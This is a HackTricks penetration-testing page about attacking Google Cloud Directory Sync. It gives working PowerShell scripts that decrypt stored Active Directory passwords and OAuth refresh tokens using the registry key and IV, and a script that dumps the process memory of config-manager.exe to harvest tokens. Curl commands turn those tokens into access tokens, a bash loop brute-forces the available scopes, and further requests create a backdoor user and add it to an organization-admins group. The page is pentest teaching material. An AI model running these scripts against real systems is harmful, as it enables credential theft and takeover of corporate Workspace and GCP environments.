GCDS - Google Cloud Directory Sync

Support HackTricks

Basic Information

This is a tool that can be used to sync your active directory users and groups to your Workspace (and not the other way around by the time of this writing).

It's interesting because it's a tool that will require the credentials of a Workspace superuser and privileged AD user. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.

To perform a MitM to the config-manager.exe binary just add the following line in the config.manager.vmoptions file: -Dcom.sun.net.ssl.checkRevocation=false

Note that Winpeas is capable to detect GCDS, get information about the configuration and even the passwords and encrypted credentials.

Also note that GCDS won't synchronize passwords from AD to Workspace. If something it'll just generate random passwords for newly created users in Workspace as you can see in the following image:

GCDS - Disk Tokens & AD Credentials

The binary config-manager.exe (the main GCDS binary with GUI) will store the configured Active Directory credentials, the refresh token and the access by default in a xml file in the folder C:\Program Files\Google Cloud Directory Sync in a file called Untitled-1.xml by default. Although it could also be saved in the Documents of the user or in any other folder.

Moreover, the registry HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui inside the key open.recent contains the paths to all the recently opened configuration files (xmls). So it's possible to check it to find them.

The most interesting information inside the file would be:

[...]
<loginMethod>OAUTH2</loginMethod>
<oAuth2RefreshToken>rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA==</oAuth2RefreshToken>
<oAuth2Scopes>
<scope>https://www.google.com/m8/feeds/</scope>
<scope>https://www.googleapis.com/auth/admin.directory.group</scope>
<scope>https://www.googleapis.com/auth/admin.directory.orgunit</scope>
<scope>https://www.googleapis.com/auth/admin.directory.resource.calendar</scope>
<scope>https://www.googleapis.com/auth/admin.directory.user</scope>
<scope>https://www.googleapis.com/auth/admin.directory.userschema</scope>
<scope>https://www.googleapis.com/auth/apps.groups.settings</scope>
<scope>https://www.googleapis.com/auth/apps.licensing</scope>
<scope>https://www.googleapis.com/auth/plus.me</scope>
</oAuth2Scopes>
[...]
<hostname>192.168.10.23</hostname>
<port>389</port>
<basedn>dc=hacktricks,dc=local</basedn>
<authType>SIMPLE</authType>
<authUser>DOMAIN\domain-admin</authUser>
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]

Note how the refresh token and the password of the user are encrypted using AES CBC with a randomly generated key and IV stored in HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util (wherever the prefs Java library store the preferences) in the string keys /Encryption/Policy/V2.iv and /Encryption/Policy/V2.key stored in base64.

Powershell script to decrypt the refresh token and the password
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
$ivKeyName = "/Encryption/Policy/V2.iv"
$keyKeyName = "/Encryption/Policy/V2.key"

# Open the registry key
try {
    $regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
    if (-not $regKey) {
        Throw "Registry key not found: HKCU\$regPath"
    }
}
catch {
    Write-Error "Failed to open registry key: $_"
    exit
}

# Get Base64-encoded IV and Key from the registry
try {
    $ivBase64 = $regKey.GetValue($ivKeyName)
    $ivBase64 = $ivBase64 -replace '/', ''
    $ivBase64 = $ivBase64 -replace '\\', '/'
    if (-not $ivBase64) {
        Throw "IV not found in registry"
    }
    $keyBase64 = $regKey.GetValue($keyKeyName)
    $keyBase64 = $keyBase64 -replace '/', ''
    $keyBase64 = $keyBase64 -replace '\\', '/'
    if (-not $keyBase64) {
        Throw "Key not found in registry"
    }
}
catch {
    Write-Error "Failed to read registry values: $_"
    exit
}
$regKey.Close()


# Decode Base64 IV and Key
$ivBytes = [Convert]::FromBase64String($ivBase64)
$keyBytes = [Convert]::FromBase64String($keyBase64)

# Read XML content
$xmlContent = Get-Content -Path $xmlConfigPath -Raw

# Extract Base64-encoded encrypted values using regex
$refreshTokenMatch = [regex]::Match($xmlContent, "<oAuth2RefreshToken>(.*?)</oAuth2RefreshToken>")
$refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value

$encryptedPasswordMatch = [regex]::Match($xmlContent, "<authCredentialsEncrypted>(.*?)</authCredentialsEncrypted>")
$encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value

# Decode encrypted values from Base64
$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64)
$encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)

# Function to decrypt data using AES CBC
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) {
    $aes = [System.Security.Cryptography.Aes]::Create()
    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aes.KeySize = 256
    $aes.BlockSize = 128
    $aes.Key = $keyBytes
    $aes.IV = $ivBytes

    $decryptor = $aes.CreateDecryptor()
    $memoryStream = New-Object System.IO.MemoryStream
    $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
    $cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
    $cryptoStream.FlushFinalBlock()
    $plaintextBytes = $memoryStream.ToArray()

    $cryptoStream.Close()
    $memoryStream.Close()

    return $plaintextBytes
}

# Decrypt the values
$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes
$refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)

$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes
$decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)

# Output the decrypted values
Write-Host "Decrypted Refresh Token: $refreshToken"
Write-Host "Decrypted Password: $decryptedPassword"

Note that it's possible to check this information checking the java code of DirSync.jar from C:\Program Files\Google Cloud Directory Sync searching for the string exportkeys (as thats the cli param that the binary upgrade-config.exe expects to dump the keys).

Instead of using the powershell script, it's also possible to use the binary :\Program Files\Google Cloud Directory Sync\upgrade-config.exe with the param -exportKeys and get the Key and IV from the registry in hex and then just use some cyberchef with AES/CBC and that key and IV to decrypt the info.

GCDS - Dumping tokens from memory

Just like with GCPW, it's possible to dump the memory of the process of the config-manager.exe process (it's the name of the GCDS main binary with GUI) and you will be able to find refresh and access tokens (if they have been generated already). I guess you could also find the AD configured credentials.

Dump config-manager.exe processes and search tokens
# Define paths for Procdump and Strings utilities   
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"   
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"   
$dumpFolder = "C:\Users\Public\dumps"   
 
# Regular expressions for tokens 
$tokenRegexes = @( 
    "ya29\.[a-zA-Z0-9_\.\-]{50,}", 
    "1//[a-zA-Z0-9_\.\-]{50,}" 
)
 
# Create a directory for the dumps if it doesn't exist   
if (!(Test-Path $dumpFolder)) {   
    New-Item -Path $dumpFolder -ItemType Directory   
}   
 
# Get all Chrome process IDs   
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id   
 
# Dump each Chrome process   
foreach ($processId in $chromeProcesses) {   
    Write-Output "Dumping process with PID: $processId"   
    & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"   
}   
 
# Extract strings and search for tokens in each dump   
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {   
    $dumpFile = $_.FullName   
    $baseName = $_.BaseName 
    $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"   
    $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"   
 
    Write-Output "Extracting strings from $dumpFile"   
    & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile   
    & $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile   
 
    $outputFiles = @($asciiStringsFile, $unicodeStringsFile) 
 
    foreach ($file in $outputFiles) { 
        foreach ($regex in $tokenRegexes) { 
 
            $matches = Select-String -Path $file -Pattern $regex -AllMatches 
 
            $uniqueMatches = @{} 
 
            foreach ($matchInfo in $matches) { 
                foreach ($match in $matchInfo.Matches) { 
                    $matchValue = $match.Value 
                    if (-not $uniqueMatches.ContainsKey($matchValue)) { 
                        $uniqueMatches[$matchValue] = @{ 
                            LineNumber = $matchInfo.LineNumber 
                            LineText   = $matchInfo.Line.Trim() 
                            FilePath   = $matchInfo.Path 
                        } 
                    } 
                } 
            } 
 
            foreach ($matchValue in $uniqueMatches.Keys) { 
                $info = $uniqueMatches[$matchValue] 
                Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" 
            } 
        } 
 
        Write-Output "" 
    } 
} 
 
Remove-Item -Path $dumpFolder -Recurse -Force

GCDS - Generating access tokens from refresh tokens

Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:

curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
     --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
     --data "grant_type=refresh_token" \
     --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
     https://www.googleapis.com/oauth2/v4/token

GCDS - Scopes

Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the scopes supported by the application where you are generating the access token.

Also, the refresh token is not valid in every application.

By default GCSD won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the refresh_token to generate an access_token:

Bash script to brute-force scopes
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do 
    echo -ne "Testing $scope           \r"
    if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
     --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
     --data "grant_type=refresh_token" \
     --data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
     --data "scope=$scope" \
     https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
        echo ""
        echo $scope
        echo $scope >> /tmp/valid_scopes.txt
    fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt

And this is the output I got at the time of the writing:

https://www.googleapis.com/auth/admin.directory.group
https://www.googleapis.com/auth/admin.directory.orgunit
https://www.googleapis.com/auth/admin.directory.resource.calendar
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/admin.directory.userschema
https://www.googleapis.com/auth/apps.groups.settings
https://www.googleapis.com/auth/apps.licensing
https://www.googleapis.com/auth/contacts

Create a user and add it into the group gcp-organization-admins to try to escalate in GCP

# Create new user
curl -X POST \
  'https://admin.googleapis.com/admin/directory/v1/users' \
  -H 'Authorization: Bearer <ACCESS_TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{
    "primaryEmail": "deleteme@domain.com",
    "name": {
      "givenName": "Delete",
      "familyName": "Me"
    },
    "password": "P4ssw0rdStr0ng!",
    "changePasswordAtNextLogin": false
  }'

# Add to group
curl -X POST \
  'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
  -H 'Authorization: Bearer <ACCESS_TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{
    "email": "deleteme@domain.com",
    "role": "OWNER"
  }'

# You could also change the password of a user for example

It's not possible to give the new user the Super Amin role because the refresh token doesn't have enough scopes to give the required privileges.

Support HackTricks

Last updated